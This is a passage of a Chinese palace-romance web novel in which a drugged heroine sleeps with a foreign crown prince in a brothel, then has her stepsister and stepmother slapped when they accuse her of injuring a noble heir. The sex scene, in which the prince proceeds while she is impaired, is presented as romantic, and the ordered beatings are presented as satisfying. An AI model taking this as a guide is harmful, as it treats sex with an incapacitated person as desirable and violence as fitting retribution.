今日不论如何,自己也不能折在傅承越手里,沈安若推开门跌跌撞撞的朝外走去。 此时楼里最好的包厢。 一个黑色衣服,手袖修着金色祥云的男子正在喝着酒,他五官精致,眉似墨画,面容姣好,眼神带着几分凌厉之色。” “这南诏的鲜花酿味道的确不错,本宫可以带一些回天元。” 身边一个青衣男子开口道。 “说不一定这南诏不错的不只是酒,殿下,南诏皇当初说的可是会让南诏最受宠的公主和亲天元的,殿下为表两国交好的诚意,这才亲自来迎亲的。” 天元太子商玄澈继续品尝着美酒。 “诸多小国虽然依附天元,却也野心勃勃,这些年父皇年龄慢慢大了,皇兄又死了,下面的这些弟弟长大了,一个个也都生出来一些不该有的心思,本宫只希望这次与南诏联姻,能够给本宫带来助力。” 青衣男子笑着开口。 “殿下,夫妻一体,这南诏公主嫁给了殿下,南诏自然是站在殿下这边的。” 商玄澈看向青衣男子。 “陈先生,这两日我们还得好好打听一番这南诏实力如何,等到过几日仪仗队伍到了南诏,我们就得去见南诏皇了。” 二人正在说着。 忽然门被一下子推开。 只见一个女子跌跌撞撞的闯进来,身上还带着血腥味。 侍卫急忙霸道。 “放肆…………” 沈安若一抬头就看到了一张面如冠玉的脸,直接跌跌撞撞的走到桌子边借力撑在桌子上。 “这南诏居然有这般好看的男子,就你了。” 侍卫再次呵斥。 “放肆…………” 商玄澈一抬手示意退下。 看着沈安若眼神带着情欲的样子,还有她的衣袖已经被鲜血染红了。 “看来这位姑娘是中.药了。” 沈安若朝他靠近,但是本就浑身无力一直在强撑,整个人直接朝商玄澈摔过去。 商玄澈伸手接住她。 “去给这个姑娘找一个大夫来。” 沈安若伸手抚摸着他的脸,看着雕刻般精致的俊脸,媚眼如丝。 “还需要什么大夫,你就是姐姐最好的解药。” 随即凑近商玄澈吐气如兰。 “长的倒是挺矜贵的,姐姐给你一万,包你一夜。” 一旁的陈先生只感觉一下子惊掉了下巴,太子的一夜就值一万两银子? 但是惊讶归惊讶,急忙上前要去将沈安若扯开。 “这位小姐………” 商玄澈听着从未听过的话,看着她手臂上的伤口,抬手示意陈先生出去。 “南诏的女子都这么有趣的吗?” 身体的药效一次次袭来,沈安若已经坚持不住了,按道理早就应该坚持不住了,勾上了商玄澈的脖子,直接吻了上去。 嘴唇上温热的感觉传来,商玄澈瞳孔瞬间放大,随即将她扯开。 “姑娘,看你这穿着不可能是楼里的姑娘,我的侍卫已经去请大夫了,你要是自己忍不住,这清白可就没有了。” 沈安若闻言一下子笑了一下。 “谁跟你说的清白二字就要用在女子身上的?” “就不能是我睡了你吗?” 说完再次亲上他的唇,带着几分迫不及待的轻咬了一下,然后看着他的眼睛,手探进他的衣襟。 “都说了,会给你银子。” “难不成你不行?” 商玄澈皱了皱眉头,直接将她打横抱起,将沈安若放在了床上,正要开口说什么,却被沈安若抓住了衣服,再次吻了上来。 “给我………” 听着她已经失控了的声音,商玄澈握住她的手臂扣在了床单上。 这才发现她左手臂伤口很深,因为不知流了多少血,手臂惨白,只怕这伤口是她为了清醒划的,这姑娘是一个狠人啊。 见她那副难受的要哭出来的样子,便明白她已经忍到了极限了。 “你醒了可别后悔。” 话落低头吻上了她的唇,那柔软而温暖的触感让他心中一阵悸动。 唇瓣上冰凉的感觉传来,仿佛一股清泉流淌过心间,带来一丝凉意和清新。 沈安若呼吸越发急促起来,身体不由自主地靠近了他,回应着他的吻,手也不安分的扒弄着他的衣服,似乎是诉求着什么。 他一把扯开沈安若的衣服,露出她白皙的肌肤。 他的手游走在她的身上,带来一阵阵酥麻的感觉。 沈安若的意识早已模糊,她只能本能地回应着商玄澈的热情。 “嗯………” 她低声呢喃的声音与他粗重的呼吸交织在一起,形成了一种暧昧的氛围。 随着衣物散落一地,两人的身体紧紧相拥,房间里弥漫着暧昧的气息。 商玄澈轻咬着她的耳垂。 “记住了,这是你自己选的。” 当他攻城略地,侵占了她的一切,鱼念浮于云端之时,沈安若一口咬在了商玄澈的肩上。 商玄澈紧紧的握住她的柔软,低头含着她的耳垂带着磁性的声音溢出来。 “放松一些,你整嘞太紧了………” 第二十三章 后会无期 沈安若没有回应他这一语双关的话,因为浑身颤抖着来不及回应……… 商玄澈感觉到她的感觉,一只手掐住她的腰间,接下来是更激烈的战争。 再睁开眼睛,沈安若只感觉头痛欲裂,记忆逐渐回归。 昨夜的疯狂一幕幕在脑海中闪现,脸色瞬间变得通红。 该死啊,自己怎么在青.楼睡了人,还差一点被人夺丝,但愿这人没什么病,不然完犊子了。 她悄悄穿上衣服,准备逃离这个尴尬的现场。 然而,当她走到门口时,商玄澈的声音响起。 “怎么,吃干抹净就想走?” “南诏的姑娘当真是让人有些惊喜。” 沈安若回头,只见一个美男子半撑着头看着自己,而他散开的里衣露出他的腹肌。 看着这张陌上人如玉的脸,沈安若觉得有些尴尬,昨晚自己除了中药,好像还有见色起意来着。 “那个,大家都是成年人了,相忘于江湖就好,这件事你过几天就忘记了的。” 商玄澈起身朝她一步步走去 ,嘴角勾起一抹意味深长的笑意! “姑娘这么特别,可不好忘啊!” 沈安若伸手从手袖里拿出几张银票,朝商玄澈走去,用银票挑起他的下巴。 “我也觉得你的这张脸特别。” “可是我们不能再见了。” 随即将银票从商玄澈的肩膀处慢慢滑落。 “我也是被人算计了来的这地方,也不知道你什么价?但是这些应该够了。” 说完左手拉扯一下他的裤腰带,将银票塞在他的裤腰上。 “俊俏的小郎君,后会无期了。” 然后转身就疾步朝外走去。 商玄澈看着沈安若这一系列动作,眼中闪过一丝玩味,缓缓坐回床上。 “有趣的女子。” 他轻声自语。 随即开口。 “苍术。” 很快一个黑衣人现身拱手。 “主子。” 商玄澈眼里带着一抹光芒。 “去查查这位姑娘的身份。” 沈安若刚走出房门,就感觉腿一软,伸手扶着墙,这地方的男人腰都这么好的吗?这次体验这般好,要是和亲太子不行,那以后的日子不太好过啊,算了,还是赶紧回府吧,自己忽然失踪,只怕是长姐着急的要哭了。 此时青.楼的走廊上,沈安锦身边跟着青.楼的妈妈,沈安锦一脸的愤怒,身边还跟着几个家丁丫鬟。 “我告诉你,若是世子有点什么事,当心你的皮…………” 妈妈眼里闪过一抹不屑,来抓男人就抓男人,还说什么男人一夜未归,担心男人有危险,这理由找的真的是让人有点觉得可笑。 “世子夫人,我们这里本来就是男人寻欢作乐的地方,这男人要是跟楼里的姑娘好了起来,宿在我们楼里也是正常的,我这青.楼也在南都开了多年了,以往可从未有人来闹过…………” 沈安锦一脸的怒意。 “本夫人倒是要看看,是哪个不要脸的贱蹄子敢勾引世子。” 青.楼妈妈闻言抿了抿唇,随即抬手一指。 “就这间了。” 沈安锦看着门眼里闪过一抹得意,沈安若,与自己的姐夫在青楼厮混被抓了一个正着,名声尽毁,看你还怎么当公主去和亲。 “世子…………” 随着沈安锦推开门冲进去,紧接着就是她尖锐的声音。 “啊…………怎么会这样?” “沈安若,你怎么能勾引你姐夫…………” 可是她的声音戛然而止,只见傅承越一个人躺在床上,哪里有半点沈安若的影子。 怎么会这样? 沈安锦急忙走过去扶傅承越。 “世子,世子…………” “承越哥哥!” 察觉到傅承越这是晕了过去,急忙伸手去掐他的人中。 朝青.楼妈妈喊道。 “还不快请大夫,要是世子在你这里有一个三长两短,你有多少条命都不够赔的。” 这都什么事啊,青.楼妈妈忍不住皱眉。 “来人,让大夫过来。” 傅承越终于醒过来了,下腹处传来疼痛感传来,傅承越不由得倒吸一口冷气,神色痛苦地皱眉问道。 “沈安若呢?沈安若在哪里?” 沈安锦心中一紧,面上焦急地说道。 “承越哥哥,这到底怎么回事你怎么会一个人在这里?你哪里不舒服?” “沈安若呢?她不是应该在一起。” 傅承越忍着痛,支撑着身体坐起,脑海中回想起之前发生的一切,沈安若还真是狠啊。 “她跑了,这个贱人,她居然敢………” 剧烈的疼痛感传来,傅承越忍不住痛呼。 “啊…………” 看着他的手摸着下腹,沈安锦心里有了一股不好的预感,着急的开口。 “大夫呢?大夫怎么还没有来?” 此时,大夫匆匆被领了进来,一番检查后,神色凝重地对沈安锦说道。 “世子下腹似乎受过重击,短期内怕是……难以行房。” “甚至…………甚至…………” 沈安锦心里有一股不好的预感在蔓延。 “甚至什么?” 大夫无奈的开口。 “可能影响子嗣。” 沈安锦闻言,脸色瞬间变得苍白,难以置信地看向傅承越。 傅承越则是咬牙切齿,眼中闪过一抹狠厉。 “沈安若,你这个贱人,我不会放过你的!” 影响子嗣,沈安锦只感觉自己的脑子都要炸开了,这样是不能有孩子,以后还怎么在侯府混下去?推了一把大夫。 “你这个庸医,你在胡说什么?信不信我回去让侯爷砍了你的脑袋?” “我告诉你,你今日要是医治不好世子………” 青楼.妈妈翻了一个白眼。 “世子夫人,昨夜世子爷并没有点我们的姑娘,怕不是世子爷被别人伤了,世子夫人应该冷静一些,先将世子带回去才是,好歹也是侯府的,总要讲道理才是。” 沈安锦哪里甘心,好不容易做了这么一个局拉沈安若入局,这以后哪里还有机会?现在没有搞倒沈安若就算了,还让世子受了这么重的伤,这要是回去,只怕是要被侯爷责罚了。 “你休想推脱………世子在你们这里受伤的,就应该你们…………” 傅承越第一次觉得沈安锦跟以往不一样,就像是一个泼妇,人这身上的疼痛,伸手抓住她的手 。 “够了!” 沈安锦见他用警告的眼神看着自己,眼里一下子就有了委屈。 “ 承越哥哥,我这是为你………” 青楼.妈妈看了看那些大开房门看戏的客人,嘲笑的开口。 “世子夫人再不带世子爷回去,等一下南都就要传开了,世子爷以后………” 意有所指的看了一眼傅承越的下腹处。 “难有子嗣…………” 傅承越脸色铁青,沈安锦见状吓得急忙一边扶他一边怒斥道。 “一群废物,还不过来扶世子。” 第二十四章 颠倒黑白 另一边,沈安若匆匆逃离青楼后,一路上提心吊胆,生怕被人追上。 从侧门翻墙进去,她直奔自己的院子,关上门,背靠着门板,大口喘息着。 回想起昨夜的一切,沈安若眼里都是怒意。 珍儿看到沈安若惊喜的开口。 “二小姐,你总算是回来了。” “大小姐都着急死了。” “快,大小姐在你的房间等你。” 长姐担心了差不多一夜,也不知道身体能不能吃得消,沈安若心中一紧,随即镇定下来。 “没事,我这就去见她。你先帮我准备些热水,我要沐浴更衣。” 刚踏入门槛,便听见沈安锦焦急的声音。 “安若,你跑哪里去了?你快吓死我了。” 沈安若抓住她的手,见她脸色苍白,好不容易这两天养回来的,一点气色都消失了,急忙扶着她坐下。 “长姐来坐下,先不要着急,听我给你慢慢说。” “玉儿和翡儿呢?” 沈安昕红着眼睛开口。 “发现你不见了,以后我们在大街上找了你许久,最后是天色晚了,玉儿和珍儿把我送了回来,留下珍儿陪我玉儿又出去找你了。” “我们没有把事情闹开,想着要是今天还找不到你就去找父亲,我怕………” 玉儿还算冷静,都没有丟下长姐,沈安若握住沈安昕的手。 “姐姐,你没有告诉父亲是对的,今日的事情一旦闹开了,对我们都不太好。” 沈安昕闻言正要说什么,却看到了沈安若脖子上的红印子,急忙伸手去撩她的衣襟。 “若儿…………” “你…………” 眼睛一下子就红了。 沈安若急忙伸手握住了她的手。 “好了好了,姐姐别担心了,这都是一件小事,我现在不是已经回来了吗?” 沈安昕却哭了起来,失了身的公主还怎么和亲啊? “若儿,我的身子太医不是说了能够调理好的吗?我们去找舅舅,我去和亲好不好?” 沈安若闻言看着她的眼睛开口。 “不好,姐姐,我能处理好的,这个时候换和亲公主只会引来猜测。” 擦手给沈安昕擦拭着脸上的泪痕。 “姐姐是不是都没怎么休息,等一下吃了早膳,我们一起休息好不好?” 沈安昕点了点头,紧紧握着沈安若的手。 “是姐姐无用,没有保护好你,若儿,告诉姐姐是谁害的你。” 沈安若闻言开口道。 “也算得上是老熟人了,这笔账慢慢算。” 老熟人?沈安锦求证的开口。 “是柳姨娘母女?” 然后一脸的怒意,一巴掌拍在了桌子上。 “这两个祸害。” 沈安若急忙拉着她的手检查。 “姐姐,你这是做什么?等一下手疼了怎么办?不要为那种不值得的贱人生气。” “他们算计我,我再讨回来就是了,要是再气到了姐姐,我就是怕他们抽筋扒皮我都难消心头之怒了。” 看着沈安昕气得发抖,沈安若急忙扶她坐下。 “姐姐,来,先坐下,咱要注意身体。” 沈安昕拉着沈安若,看着她的脸。 “若儿,毁你清白的人你知道是谁吗?” “我们查一查他的身份,然后想办法除掉他。” 嘶这柔弱的美人姐姐不柔弱啊,性子烈着呢。 “那个我也不知道是谁,原本他们的计划应该是让我以后只能跟着傅承越,可是我打伤了傅承越。” 沈安昕闻言眼里更怒了。 “傅承越也参与了?他怎么这般的不要脸?这个畜牲,到底从小一起长大的 ,他算计你嫁妆要娶沈安锦就算了,现在还想毁了你。” 沈安若无奈的开口。 “有的人他不是人,就是披着一张人皮的畜牲,无非就是看皇帝舅舅现在对我们不错,他得不到我就要毁了我罢了,一些下三滥的手段,我昨晚也报仇了,就是不知道他兄弟以后还能不能站起来。” 珍儿此时走进来。 “二小姐,热水准备好了。” “奴婢已经吩咐厨房做菜了。” 沈安若起身。 “姐姐,我去沐浴一番。” 然后看向珍儿。 “去吩咐玉儿翡儿,去媚香楼打听一下傅承越的趣事。” 忠勇侯府。 此时的傅承越躺在床上,脸色苍白,额头上冒着细细的汗珠,下腹的位置还扎着银针,床被床幔遮了起来。 随着时间到了,大夫上前将银针拔下。 侯夫人着急的开口。 “大夫,世子怎么样?” 沈安锦也一脸急切的开口。 “大夫,世子治好了对不对?” 忠勇侯也面色着急。 “大夫,你就说吧,世子到底如何?” 大夫看了看床幔里挣扎着起来的傅承越。 “侯爷,夫人,在下无能,只能给世子止痛,至于以后还能不能………只能看造化了!” 沈安锦尖叫着开口。 “啊…………这不可能,这不可能,一定是你个庸医医术不精。” 虽然对病人的时候大夫一般都在自谦,但是被人指着鼻子骂庸医还是头一次,大夫也脸色 沉了下来。 “世子夫人,世子受伤的确很重,世子夫人若是着急,不如再去请外面的名医。” 沈安锦闻言还准备说什么。 侯爷却已经开口。 “再给世子开一些滋补的药吧。” 床幔里,傅承越脸色阴沉的快要滴出来墨汁了。 “沈安若,你这个贱人………” 随即猛然撩开床幔。 “父亲,是沈安若,是沈安若伤的儿子,儿子要她碎尸万段。” 忠勇侯闻言看了看他又看了看沈安锦。 “到底是怎么回事?” “沈安若为什么会伤你?” 府承越正要开口。 沈安锦一下子就朝忠勇侯跪了下来。 “父亲,都是我不好,是我这个当姐姐的没有教好妹妹,妹妹她一直记恨世子没有娶她,昨日就故意勾引世子,伤了世子,都是我不好,早知道我就离世子远远的,若是世子娶了她,想来妹妹也不会做出这么恶毒的事情来。” 忠勇侯听了冷冷的看着她。 “这事的确怪你,本来娶的人就不应该是你………” 傅承越见状开口道。 “父亲,这怎么能够怪锦儿呢?明明是沈安若太恶毒,父亲,你可要为儿子讨一个公道啊。” 侯夫人气愤的开口。 “侯爷,我们这就去沈家,让沈家把沈安若交给我们处置。” 第二十五章 孟家送人来了 沈家。 沐浴一番,吃了饭菜以后,沈安若又看着沈安昕喝了药,才陪着她回房休息。 看着沈安昕粘床就睡,沈安若就知道她熬太久了,轻轻的走出去。 院子里玉儿翡儿一见沈安若,就激动的上前。 “小姐…………” 沈安若立即做出了一个噤声的手势。 然后朝外走去。 “回墨香居。” 很快回到了墨香居,房门一关上。 玉儿和翡儿就拉着沈安若上下打量。 “小姐,你没事吧?你可把奴婢急死了,你去哪儿了?我们把街道上都找遍了,也没有找到你。” “你要是去买什么东西你倒是带上奴婢啊。” “就是啊小姐,奴婢腿都快跑断了。” 沈安若拉住二人的手。 “我已经没事了,让你们担忧了,来过来,我们坐下说话。” 几人一起坐下。 沈安若看着二人开口。 “让你们打听的消息呢?” 翡儿开口道。 “小姐特意让珍儿叮嘱,奴婢去买了一套男装,混了进去,打听到今日忠勇侯世子夫人带着小厮丫鬟闯入了楼里,嚷嚷着捉奸,还喊了小姐的名字,结果发现只有世子一个人受伤在那里,找了大夫来,好像说世子以后可能不行了。” 沈安若听得嘴角勾起一抹笑意,看来那一角还是有用的。 玉儿一脸震惊的看着沈安若。 “等等………小姐…………” “你昨日失踪是被沈安锦和傅承越算计了。” 沈安若微微点头。 “的确是,不过我也算是废了傅承越,至于沈安锦…………” 沈安若沉思片刻。 “等拿回来了银子,我好好的给她送一份大礼。” “你们想办法打听一下侯府那边,我要知道傅承越与沈安锦的动静。” “银子不够就去库房去,皇帝舅舅给的赏赐那么多,使劲儿花。” 玉儿听了开口道。 “小姐,我们还是要省着一些才是,小姐,你要去和亲的,得准备嫁妆…………” 翡儿开口道。 “还喊什么小姐,我们现在应该喊公主才是。” “公主的嫁妆皇上那边应该还会准备吧?” 沈安若看了看二人。 “嫁妆的事情不用你们操心,自然会有人准备的,在外办事,你们该花银子的就花银子,我要的是效率。” 主仆二人正在说着 ,门外的小丫鬟就敲门道。 “小姐!” “孟家小姐来了。” 沈安若闻言眼里闪过一抹喜意,这孟穗禾来了,应该给自己送人来了吧,但凡身边有两个有本事的人,自己也不用这么倒霉,遇上傅承越和沈安锦这两个垃圾。 沈安若迅速整理好衣装,迈步迎向门外,脸上挂起了一抹笑意。 “穗禾,你可算来了。”沈安若迎上前去,轻轻握住孟穗禾的手。 “我还以为自从那日分别以后,你就忘了我这么一个人了。” 孟穗禾看着她俏皮的样子,急忙开口。 “瞧瞧你这副抱怨的样子,我哪里会把你给忘了?” “我这不是一回去就找我母亲说清楚了情况,姑母也…………” 说着看了看沈安若的院子里,拉着她去房间里。 “走吧,我看看你这院子。” 后面的丫鬟小厮也跟着朝墨香居的大厅走去。 进去以后,玉儿也有眼力见的关上了门。 至于翡儿自然是办事去了。 孟穗禾看了一眼关上的门。 “父亲一接到了姑母的话,就去给你挑人了,这人还是我跟着挑的,你个小没良心的,居然说我把你忘了。” 随即看了一眼身后的几人。 “还不给你们的主子行礼?” 在孟穗禾身后的几人急忙上前行礼。 “见过主子。” “请主子赐名。” 沈安若看着跪在身前的六人,两个女子,四个男子,就气息感受都知道几人武功不低,这孟家出手这么大方的?要知道暗卫这种东西,培养一个都要不少银子啊。 孟穗禾看着她打量这些暗卫的样子,缓缓开口。 “姑母感激你让百灵公主留了下来,这个恩情孟家也记着,我虽然与你相处不多,但是看得出来,但凡你有的你都要分你姐姐一份,所以在挑选暗位的时候,我就让父亲多给你挑了两个,免得你还说我不为你考虑。” 沈安若闻言伸手拉着孟穗禾,一脸娇笑的开口。 “哎呀,我就知道你最好啦,你放心,天地为证,从此你就是我最好的姐妹 ,大事小事,你招呼一声,我保证给你办的妥妥帖帖的。” 孟穗禾拉着她开口。 “我不要你给我办什么事,我只要你和亲去了天元以后能够安稳的过日子,我舍不得百灵,但是现在我也舍不得你!” 这孟穗禾的确是一个心性不错的姑娘,沈安若宽慰道。 “把你这颗担忧的心都放到你的肚子里去吧,虽然我还没有见过天元的太子,但是这大国的太子自然应该有大国的风范,总不可能连自己的妻子都照顾不好,所以我此去天元,肯定会把日子过得和和美美的。” 孟穗禾闻言脸上还是带着几分担忧。 “安若,大国规矩多,你去凡事该隐忍的隐忍,若是真有委屈你就给我写信,我送去给姑母。” 沈安若看着她的担忧,心里躺过一股暖流,来到这里,除了姐姐,她也是第一个关心自己的。 “放心吧,我都知道的,再说了,我从小与长子相依为命,小时候都过来了,我现在又不是孩子了,别人欺负我,我肯定会想办法回击的。” “不管是在南诏还是在天元,我都不会惹事的,但肯定也不怕事,谁要敢招惹到我的头上,我该打就打我该揍就揍,那个什么天元太子,他要是护不住我,他也不配当我的夫君。” 孟穗禾闻言最终开口道。 “是是是,你说的有道理,管他什么天元太子不天元太子的护不住,你都不配当你的夫君,我母亲跟我说过,不能办什么事手里有银子好使,我回去再帮你凑一些银子,你去天元,想要做一点什么手里方便。” 沈安若听得眼睛一亮。 “好姐妹,那我就不客气了,这异国他乡的手里有银子才踏实。” 随即才想起来,还有几个人跪着呢。 “你们先起来吧。” “玉儿,带他们下去休息,名字等我想到合适的再定。” 然后又拉着孟穗禾。 “晚膳想吃什么?” “我让厨房做。” 此时一个小丫鬟快步而来。 “二小姐,老爷让你去前厅?” ???这是沈安若脑子一下子疑惑了,沈一山不知道自己这里有客人吗? 孟穗禾笑着开口。 “或许是你父亲找你有什么急事,我就先回去了,改日你和你姐姐来孟家玩。” 说完就带着丫鬟离去。 “你别送了,快去忙自己的吧。” 沈安若看着来报信的丫鬟,这不是自己院子里的人也不是长姐院子里的人。 “今日侯府有客人?” 丫鬟低头不说话。 玉儿已经开口斥责。 “主子问话也敢不答,你好大的胆子,都忘记之前对大小姐和二小姐不敬的那些人是什么下场了吗?” 丫鬟想起之前那些被处罚的小厮现在身上的伤都没有好完,急忙开口。 “是忠勇侯侯爷,侯夫人,还有世子夫人来了,侯爷和侯夫人都脸色很难看,世子夫人好像哭过了。” 沈安若闻言沉默片刻。 “去前厅回话,我换一身衣服过去。” 玉儿一脸的怒气。 “小姐,他们怎么来有脸上门来。” 沈安若沉思着开口。 “事情只怕是不简单。” 随即对玉儿招手,在她耳边低语几句。 “记住了,要快,也顺便看看孟家送来的人怎么样。” 第二十六章 赏你十个耳光 玉儿郑重的点了点头,疾步而去。 沈家前厅。 忠勇侯,忠勇侯夫人,坐在边上一脸的怒气。 沈安锦小心翼翼的亲自给二人倒上一杯茶。 “父亲。” “母亲。” 柳依依见状,眼里闪过一抹心疼。 “侯爷,夫人,这是发生了什么,怎么这么大的火气啊,可是锦儿做错了什么,这孩子一向乖巧,若是有什么做到不到位的地方,还请侯爷和夫人告知我们,我们也好教导她。” 沈安锦急忙开口。 “母亲,不是我………是…………是安若!” 沈一山和柳依依都差异了一下,随即沈一山一脸怒气的开口。 “这个孽女。” 想到了忠勇侯到沈家就要见沈安若,沈一山心里更是有了一股不好的预感。 “她到底又做了什么?” 沈安锦拿着手帕擦拭着眼角的泪痕,一副受了天大委屈的模样。 “父亲,这次安若实在是太过分了,女儿知道她记恨女儿抢了她的婚事,她若是有不满,女儿可以任由她打骂,可她不论如何也不能毁了世子啊,这世子以后不能…………傅家的香火可怎么办?” 沈一山只感觉自己听的云里雾里的。 “到底是发生了什么?” 沈安锦一副难以启齿的模样。 “安若见我回门,世子体贴,对我宠爱有加,她心生妒忌,昨日在街上碰到,她就说她头晕,让世子送她去休息,她可是我妹妹啊,我做姐姐的哪有不担忧的,就让世子送一送她,结果她就伤了世子那个地方,大夫说世子以后只怕是子嗣艰难了。” 沈一山闻言,脸色瞬间变得铁青,他猛地一拍桌子,怒声道。 “这个逆女!她怎么敢做出这种事来!” 忠勇侯夫人气得浑身发抖,想到了傅承越要是治不好了,家里以后怕是要给一个庶子占了去,又气又急。 “沈大人,为了我们两家的颜面,即便最后婚事成为了你们沈家的养女嫁过来,我们傅家也答应了,现在沈安若却因为心生妒忌毁了我们的儿子,你们沈家一定要给一个说法。” 忠勇侯也一脸阴沉。 “沈大人,你们沈家的女儿当真是让我长了见识,此事如果你沈家不给一个合理的交代,那我就要去皇上那里告御状了。” 沈安若一到门口,就看到了这剑拔弩张的一幕,自然也听到了忠勇侯的话。 “那侯爷就去告啊?” “为什么没有去?” “是找不到去皇宫的路了吗?” 只见沈安若带着一个面生的丫鬟走进来。 直接找了一个位置坐下。 丫鬟恭敬的给她倒上一杯热茶。 沈安若抬手缓缓接过。 见她如此淡定,沈一山更是气不打一处来,他指着沈安若道。 “你还有脸问!你看看你都做了什么好事!” 沈安若端着茶杯慢悠悠的喝了一口茶,看着沈一山开口。 “父亲倒是说一说,女儿都做了什么,能让父亲在外人面前不计形象的破口大骂?” 沈一山气的更甚了。 “你………你这个孽女。” 又是这两个字,怎么来来回回就没有一点别的词呢?沈安若不耐烦的掏了耳朵。 “父亲下一次可以换一个词骂,好歹也是尚书大人,就只会这么两句吗?” 随即拿出一把瓜子,开始嗑了起来。 “来吧,谁来说一说,你们找我来到底想说什么的?” 又是这副气定神闲的模样,忠勇侯目光凌厉的看着沈安若。 “沈二小姐,本侯就一句话问你,世子是不是你伤的?” 沈安若闻言停止了嗑瓜子,一脸震惊的开口。 “啊?世子受伤了啊?” “伤了哪里啊?” 忠勇侯见她这反应,眉头紧皱。 “你这是不承认?” 沈安若听了笑着开口。 “不承认什么?” 沈安锦见状立即哭着开口。 “妹妹,你怎么能这样呢?世子都亲口对我说了,就是你伤了他,沈家的女儿要敢做敢当啊,出手狠辣,毁人根基,事后不想着补救,还装傻充愣,妹妹你这样会毁了沈家的名声的。” 沈安若看着哭哭啼啼的模样,抬手佛了佛耳边的碎发。 “剑兰,给本宫张嘴。” 剑兰听了立即走到沈安锦身边。 沈安锦先是懵了一下,随即脸上有了一抹害怕。 “你要做什么?回应她的是一声耳光的声音。 “啪………” 以及沈安若再次响起的声音。 “打满十个为止。” 沈安锦捂着脸,不可思议地看着剑兰,沈安若身边什么时候有了这样的丫鬟。 可还不等她想明白,剑兰已经抬手一耳光右一耳光的甩在她的脸上。 沈一山气的发抖。 “住手。” 抬手指着沈安若。 “孽女,你还不让人住手,这是忠勇侯府的世子夫人。” 柳依依也一脸哭诉的模样。 “二小姐,咱们有什么话好好的说,何必这样大动干戈呢?侯爷和侯夫人都还在这里呢。” 沈安若淡定的喝了一口茶。 “不要说是世子夫人,就是侯夫人……” 目光缓缓在侯夫人和忠勇侯脸上扫过。 “就是侯爷,你们见了本宫不应该先行礼吗?” “见到公主不行礼,还出言不逊,一口一个妹妹,她一个不知哪里来的野种也敢称呼皇上亲封的公主为妹妹?” 沈一山这才想起来,自己这个女儿现在已经是凰仪公主了。 “即便你被封了公主,你也还是沈家的女儿,沈安若,你姓沈。” 沈安若连一个眼神都没有给他。 “父亲的意思,本宫应该再去跟皇帝舅舅说一说,让我改一个姓?” 沈一山气的心口起伏。 “你…………” 柳依依急忙上前给他顺气,看着沈安若一脸失望的开口。 “公主,明明你从小就懂事听话,最是让你父亲喜欢了,为什么现在当上公主以后半点都不再听你父亲的话,时时都在与你父亲顶嘴,这可是你的亲生父亲,你怎么能因为有了皇上的疼爱就忘了本呢?” 此时剑兰已经打够了十个耳光,一放手,沈安锦就狼狈的摔在了地上。 只见她面无表情的走到沈安若身边,恭敬的福身。 “公主,打完了。” 沈安若再次开口。 “颠倒黑白,挑拨是非,污蔑皇家,再赏柳姨娘十个耳光,让她好好的明白什么叫做规矩。” 第二十七章 你们要造.反吗? 剑兰闻言,没有丝毫犹豫,转身走向柳依依。 柳依闻言,脸色瞬间变得煞白,她不敢置信地看着沈安若,身子微微颤抖。 “安若,你……你怎么能这样对我?我可是你父亲的妻子,是你的长辈!” 沈安若冷笑一声。 “长辈?” “一个妾一配跟本宫谈长辈二字?” 柳依依挨了一巴掌,捂着脸开口。 “即便………你不认可,我也是你父亲八抬大轿抬进门的。” 沈安若看了一眼剑兰。 “剑兰,这是你第一天在本宫这里当差,怎么她还有机会说话。” 剑兰闻言伸手抓住柳依依的衣襟,将她拖起来,另外一只手加大了力度,一巴掌又一巴掌的甩在她的脸上。 “奴婢打完以后再给公主请罪。” 沈一山气的发抖,站起来满脸无奈的开口。 “家门不幸,家门不幸啊。” “沈安若,你居然对长辈动手,她是你继母,全南都都知道的,殴打自己的母亲,这是忤逆不孝啊。” 沈安若将茶杯重重的拍在桌子上。 “碰。” “沈尚书慎言。” “沈尚书,既然你不懂什么叫做尊卑,今日本宫便给你普及一下,续玄者,在原配妻子面前只能低伏做小,上香敬供都只能以妾室的身份去做,在原配所生的嫡子嫡女面前也只能是妾。” 随即看着挨打完,整个人瘫在地上,一脸肿了起来的柳依依开口。 “是妾,那就可通买卖,就是一个上不得台面的玩意儿,在主子面前说话都得低头,主子不让说话就要闭嘴,柳姨娘,你可听明白了?” 柳依依趴在地上,脸上满是泪痕她,颤抖着嘴唇。 “是,臣妇听明白了。” 沈安锦指甲都掐进了手心,整个人气的瑟瑟发抖,但是不敢说出来一句反驳的话。 忠勇侯看着如此泼辣的沈安若,抿了抿唇,似乎想说什么,又沉默了片刻,最终缓缓开口,语气已经没有了刚刚的咄咄逼人。 “公主,你与犬子之间是不是有什么误会导致误伤了,到底此事关系着侯府的子嗣传承,还公主请一个太医来给犬子看看,傅家感激不尽。” 沈安若淡定的喝了一口茶,眼神都没有给依旧拱手的忠勇侯。 “人不是本宫伤的,本宫操不了这份心。” 沈安锦朝着沈安若跪下来。 “公主,千错万错都是我的错,是我抢了公主的如意郎君,是我下贱,是我不要脸,求求公主了,就让太医来给世子看一看吧,哪怕公主要我这一条命,只要公主能够治好世子,我也愿意把这条命给公主。” 沈安若看着她这一操作,嘲讽的开口。 “世子这夫人这膝盖还当真是够软的。” 这是赤裸裸的羞辱,沈安锦最后哭着朝沈一山开口。 “父亲,你劝一劝公主吧,我们沈家和傅家多年交好,姐姐不能因为有人撑腰了,就让我们两家搞得生出仇视你死我活的啊。” 沈安若冷笑一声。 “呵!居然还敢挑事?” “剑兰,你刚刚真的是打太轻了。” 剑兰急忙走到沈安锦身边,抬手就朝她已经见肿的脸打去。 “奴婢这就从新打。” 沈一山看着沈安若这样,厉声开口。 “你居然还要打?” “沈安若,你不要忘记了,你姓沈,不论你爬的有多高,我都是你的父亲。” “来人,将这个打人的丫鬟拉下去打死。” 沈安若挑眉看着他。 “父亲,这是要打死贵妃娘娘的人?” 沈一山看着她皱眉。 “你什么意思?” “这不是你的丫鬟吗?” 沈安若微微点头。 “对呀,她就是我的丫鬟,可她也的确是贵妃的丫鬟,这府中不懂规矩的东西太多了,贵妃娘娘就安排了一个丫鬟给我,让她好好替我好好的收拾那些不知死活的东西。” 贵妃居然给了沈安若丫鬟,忠勇侯与侯夫人相视一眼,一时间也不知道该说什么好,主要是沈安若动不动就打人,实在是过于蛮横不讲理。 屋里打耳光的声音还在响起,直到沈安锦被打了倒在地上,嘴角血丝流了出来。 玉儿也带着几个人走了进来。 沈安若将手中的茶杯放在桌子上,目光看向忠勇侯。 “忠勇侯,本宫要准备和亲的事宜,实在是没有时间跟你们拉扯。” 